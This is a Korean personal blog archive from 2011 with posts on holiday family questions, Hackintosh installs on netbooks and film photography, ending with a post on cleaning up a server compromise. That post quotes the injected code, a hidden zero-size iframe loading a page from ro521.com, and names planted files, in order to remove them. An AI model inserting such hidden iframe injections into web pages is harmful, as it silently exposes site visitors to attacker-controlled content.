지나간다명절이 괴로워

나 같은 낙오자에게는 명절이 너무 괴롭다.

기다렸다는 듯 쏟아지는 온갖 질문들.

정말 걱정되고 궁금해서 묻는걸까?

지금은, 명절이 아니면 연락 한 번 없이 지내는데..

그 사람들이 나의 삶에 대해 추궁할 권리는 어디에서 주어지는 걸까?

 

흑.

어쨋든 괴로워.

 

그래도 지난 번 성과는, 질문이 '결혼 언제할래?'에서 '결혼할 생각이 있긴 한거?'로 바뀌었다는 거.

2011/02/02 20:24 2011/02/02 20:24

지나간다해킨토시

해킨토시를 만지작 거리면서, 재미붙였다.

하지만, 정작 이녀석으로 뭘 할 수 있는지는 잘 모르겠다.

매킨토시에 대해 아는 게 거의 없다.

심지어 벌레먹은 사과가 본래 맥 로고인 걸로 생각하기도.

 

 

언뜻 생각하기엔, 맥이나 윈도우나 리눅스나, 결국 쓰기 나름이다.

내 필요에 맞는 어플리케이션을 찾는 게 관건.

 

하지만 되짚어 생각해보면 윈도우로 사용하는 건 한정되어 있는데(내 경우에 한글, 포토샵. 기타 adobe 제품들. 끝.), 그 한정된 걸 사용하기 위해 윈도우를 썼던 것이기도 하다.

내가 어플리케이션을 사용했다기 보다, 어플리케이션에 나를 맞춰왔다는 거.

 

자유로운 개인이란 이데올로그의 강변이듯,

OS를 자유롭게 선택하고 필요한 어플리케이션을 찾는다는 건 현실에서 쉽지 않다.

리눅스에서는 hwp문서를 편집하기 위해 귀찮은 과정들이 필요하다. 공식적(?)인 방법이 아니기 때문에 하다 안되도 누구에게 따질수도 없다. 물어봐도 해결책이 안나올지도 모른다. 이미지 편집을 위해서는 gimp를 '새로' 배워야 한다. '새로'

대등한 여러 선택지 중 고르는 게 아니라는 거.

 

 

이런면에서 매킨토시는 윈도우를 대체하는 데 리눅스보다 훨씬 수월하다.

좀 많이 놀라고 있다. 맥 사용자가 그리 많을 거라 생각지 않았고, 맥용 어플리케이션도 기껏 얼마나 될까 싶었다.

하지만, 파이널 컷이라든지 맥에서만 사용할 수 있는 프로그램도 많고,

adobe 제품들은 모두 맥에서 사용 가능하다. 한컴의 한글도 맥용이 있더라.

리눅스에서는 어느 은행도 인터넷뱅킹을 이용할 수 없지만, 맥에는 지원하는 은행도 있다.

왜 그럴까..

맥은 비싸잖아. 맥을 쓰는 사람들은 돈을 많이 갖고 있는 거잖아. 그리고 애플은 돈을 많이 버는 기업이잖아. 이런게 다 돈을 보고 움직이는 거구나.

이렇게 밖에 결론을 못 내리겠다.

나에겐 맥이 리눅스보다 훨씬 듣보였는데.. 까보니 얘가 꽤 호화롭네.

실제 시장점유율은 맥이 리눅스의 배 이상 되긴 하나보다.

 

하지만 이럴 수록 맥이 곱게 보이진 않는데, 

MS나 Apple이나 고것이 고것.

애플이 뭔가 새로운 걸 보여주는 것 처럼 굴지 않았으면..

결국 돈 써서 개발하고 돈 받고 파는 기업에 불과할 뿐이니. 창의력? 이런것도 돈 있으면 다 살 수 있는 거임.

이 사회에서는, 파이널 컷 같은 걸 오픈소스로 개발해 놓으면 누가 금방 베껴가서 팔아먹겠지. 이런 게 한 둘이 아니니.

 

 

맥 만지작 거리다 괜히 심통나서 삐뚤어져 있음.

2011/02/02 20:20 2011/02/02 20:20

지나간다네번째 필름


 

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버스파업농성장이 있는 시청광장. 왼쪽 아래 불그스름한건, 화롯불이다. 날이 추워 화롯불 근처에 조합원들이 모여있었다.
 

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무리지어 헤엄쳐가는 새(오리?)들..


 

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 저 붉은 건 왜 생겼는지 모르겠네.. 그쪽에 빛들어올게 없었는데..

 

 

 

수전증은 좀 나아진 듯?

필름을 스캔해서 그런지 전반적으로 흐릿하다. 한 번 인화를 해볼까?

 

그리고, 지난번 필름부터, 찍힌 곳에 한 번 더 찍히는 일이 빈발하는데, 이거 왜 그런거지???

난 그런 고급 기술을 쓸 줄 모르는데.. -_-

 

2011/02/02 16:31 2011/02/02 16:31

지나간다averatec 8200 해킨토시

iatkos 5i (mac os 10.5.5)를 설치했다.

 

사용자화는

 

dosmos

acpi x86

voodoo 커널

video - x3100

system - ahci sata

latop battery

 

이것만 해준 듯

 

랜카드, 사운드, 비디오는 모두 잘 잡히고 무선랜은 안된다.(배터리 표시하는 건 어떻게 하는 건지 모르겠음)

iatkos는 한글화 파일을 받아서 한 번 더 설치해줘야 메뉴가 제대로 한글화 된다.(korean.pkg로 구글링하면 나옴)

 

한글입력은 바람입력기

 

혹여 시도해 보실 분에게 도움이 될까하여..

 

---

추가 2010.2.2 13.40

 

업데이트는 잘 된다. 10.5.8로 업데이트 성공.

다만 업데이트 후 소리가 나오지 않는다. 여러차례 삽질 끝에 소리가 출력되는 kext를 찾았다.

http://x86osx.com/bbs/view.php?id=pds&no=2359

이거.

2011/02/02 10:32 2011/02/02 10:32

지나간다필카, 세번째 현상

 

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필름카메라를 만지작 거리면서 보내고 있다.
뷰파인더에 보이는 대로 필름에 옮겨지진 않는다.
비틀어짐 없는 시선이란, 애당초 차안에 있는 게 아니니,
... 뭐.. 그렇다.

내가 사진을 못 찍는 건 렌즈가 꼬져서야- 막 이러고 있다.

 

 

 

여전히 촛점을 못맞추고, 흔들리는 게 대부분.

이제 이리저리 조리개를 조절해 보는데, 조리개를 조였다하면 몽땅 번져있다. 어흑. 수전증 있나. ㅠ

그리고 찍을 때마다 조리개 몇에 셔터스피트 몇 기록해 놓아야 하나?

찍을 땐 기억날것 같았는데, 현상하고 나니 그저 새롭다. 번져있으면 아, 내가 조리개를 조였구나, 깨달을 뿐.

// 조리개를 1.x대로 열어놓고 1m 안에서 근접해서 찍으면 배경이 너무 하얗게 나온다. 다음번엔 조금 더 조여서.

// f20 이상 조이는 건 하지 않아얄 짓 같다.

// 셔터스피드 계산해주는 거 믿지 말고 대충 감을 익혀놓아야할 듯. 이 녀석은 뷰파인더 전체적으로 보고 계산해주는 것 같은데, 디카처럼 내가 찍고 싶은 부분의 밝기를 계산해주진 않는다.

 

밤에 뭔가 천체사진 같은 거.. 그러니까, 별이 나오게 찍어보고 싶었는데,

그냥 필름이 하얗게 돼버리네? .... 디카로도 노출만 오래 주면 별 찍히던데.....; iso감도가 너무 낮아서?

 

 

카메라는 새주인 잘못만나, 수난을 많이 겪고 있는데,

20년 넘게 겉에 손상 없이 써왔던 듯 하건만,

난 불과 한 달도 안돼서, 필름감개 뚜껑을 부숴버렸다. 아스팔트 바닥에 떨어트린 것도 두번.

렌즈가 생각보다 튼튼하다며 위안하고 있다. 뭐 예전엔, 여차하면 무기로 썼대잖아. 전설같은 학보사 기자들의 활약.

 

2011/01/26 08:21 2011/01/26 08:21

지나간다해킨토시 깔았다 -ㅇ-

사무실에 있는 NC10에 해킨토시를 깔았다.

설치하다 잘 안돼서 윈도우 파티션도 다 없애버렸다.

맥 설치할 파티션을 남겨놨는데 아무리 해도 그 파티션 포맷이 안됐다.

그래서 설치과정에서 디스크 전체 포맷하고.

윈도우 시디로 부팅해서 파티션만 나누고 다시 해킨토시로 부팅하고..

나눠진 파티션 포맷하고 거기에 설치하고..

 

다 설치하고 나선 Operating system not found. 메시지가 떴는데,

이건 파티션을 활성화시켜놓지 않아서 였다.

윈도우를 쓸 파티션 활성화시키고 윈도우 설치하고, chain0 파일 받아서 멀티부팅 설정해놓고

MacOSX로 부팅하니, 환영 동영상이 나온다.

 

하지만... 랜카드는 유선, 무선 둘다 안 잡혀서 인터넷이 안된다. 음.

 

부팅되는 것만 보고 껐는데.. 얘로 뭘 할 수 있지???

adobe 프로그램들 받아놓을까??

사무실 컴퓨터로 뭐하는 짓이람...;;

 

 


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2011/01/18 23:31 2011/01/18 23:31

지나간다해킨토시

NC10에 해킨토시가 가능하다는 글을 보고,

묘한 승부욕이....

주변에 nc10 넷북이 있다.

한 번 해봐야지 -_-;;

 

nc10전용 osx이미지

[nc10_jas.osx86.10.5.6-n_gene7.torrent (43.84 KB) 다운받기]

 

어흑..

내가 이러고 있을 때가 아닌데.......

빨리 돈이나 벌어오란...

2011/01/14 10:51 2011/01/14 10:51

지나간다2011/01/13

필카 두번째 현상

 

여전히 촛점도 안 맞고 흔들린 사진 투성이다.

기대했던 장면과는 전혀 닿지 않는 사진들도 많다.

 

음..

이거 쉽지 않구나.

 

게다가 필름을  스캔하면 선명하지 않아서.. 이것도 조금은 불만..

 

 


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2011/01/13 23:46 2011/01/13 23:46

간정격

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지나간다ro521.com

지역 단체들이 이용하는 서버가 있는데 몇몇 계정에

 

<?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe><?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>

 

이런 스크립트가 몽땅 들어와있다.

지난 크리스마스에. 크리스마스에. 크리스마스에. 크리스마스에.

.... 난 아무것도 모른 채 그냥 놀고 있었으니 별로 할 말은 없지만

똥줄 태운 서버관리자들 많았을거라 생각해보면, 고것 참...;

 

난 어디에 취약점이 있어서 저런 일이 가능했는지도 모르겠고,

이 서버는 웹접속기록에 ip를 아예 남기지 않도록 해놨기 때문에 어느곳에서 들어왔는지도 파악할 수 없다.

-_-;;; 이런 일 겪고 나니까 ip를 남겨놓도록 해야하나 싶기도 한데....

 

아무튼 너무 많은 파일들에 스크립트가 삽입돼서 어떻게 손을 못쓰고 있었다.

(vi로 할줄 아는 것이라곤 쓰고 저장하고 닫는 게 전부....)

퍼미션을 잘못 관리해 자료실에 올려둔 모든 파일에 스크립트가 삽입된 계정도 있다.

 

지금 해본 건 서버의 파일을 몽땅 다운 받은 다음에 ultraedit로 파일 찾아 바꾸기를 하는 것.

결과는 썩 괜찮은 듯??

 

 

 

조처 사항.

 

제로보드의 경우

- data/icon 폴더에서 group_qazwsxedc.jpg, visitLog.php  삭제.

- db에서 <?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe><?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe> 다 삭제.(제로보드는 그룹설정에 코드가 삽입되어 있다.)

- 서버에 있는 파일들 모두 다운 받은 뒤 ultraedit로 위 스크립트 찾아 바꾼 뒤 다시 업로드 한다.(울트라에디트에는 폴더 안에 있는 파일을 한꺼번에 찾아바꾸는 기능이 있다.)

- http://www.xpressengine.com/zb4_security/ 이곳에서 보안관련 패치를 받아 업데이트 한다.

2011/01/10 20:05 2011/01/10 20:05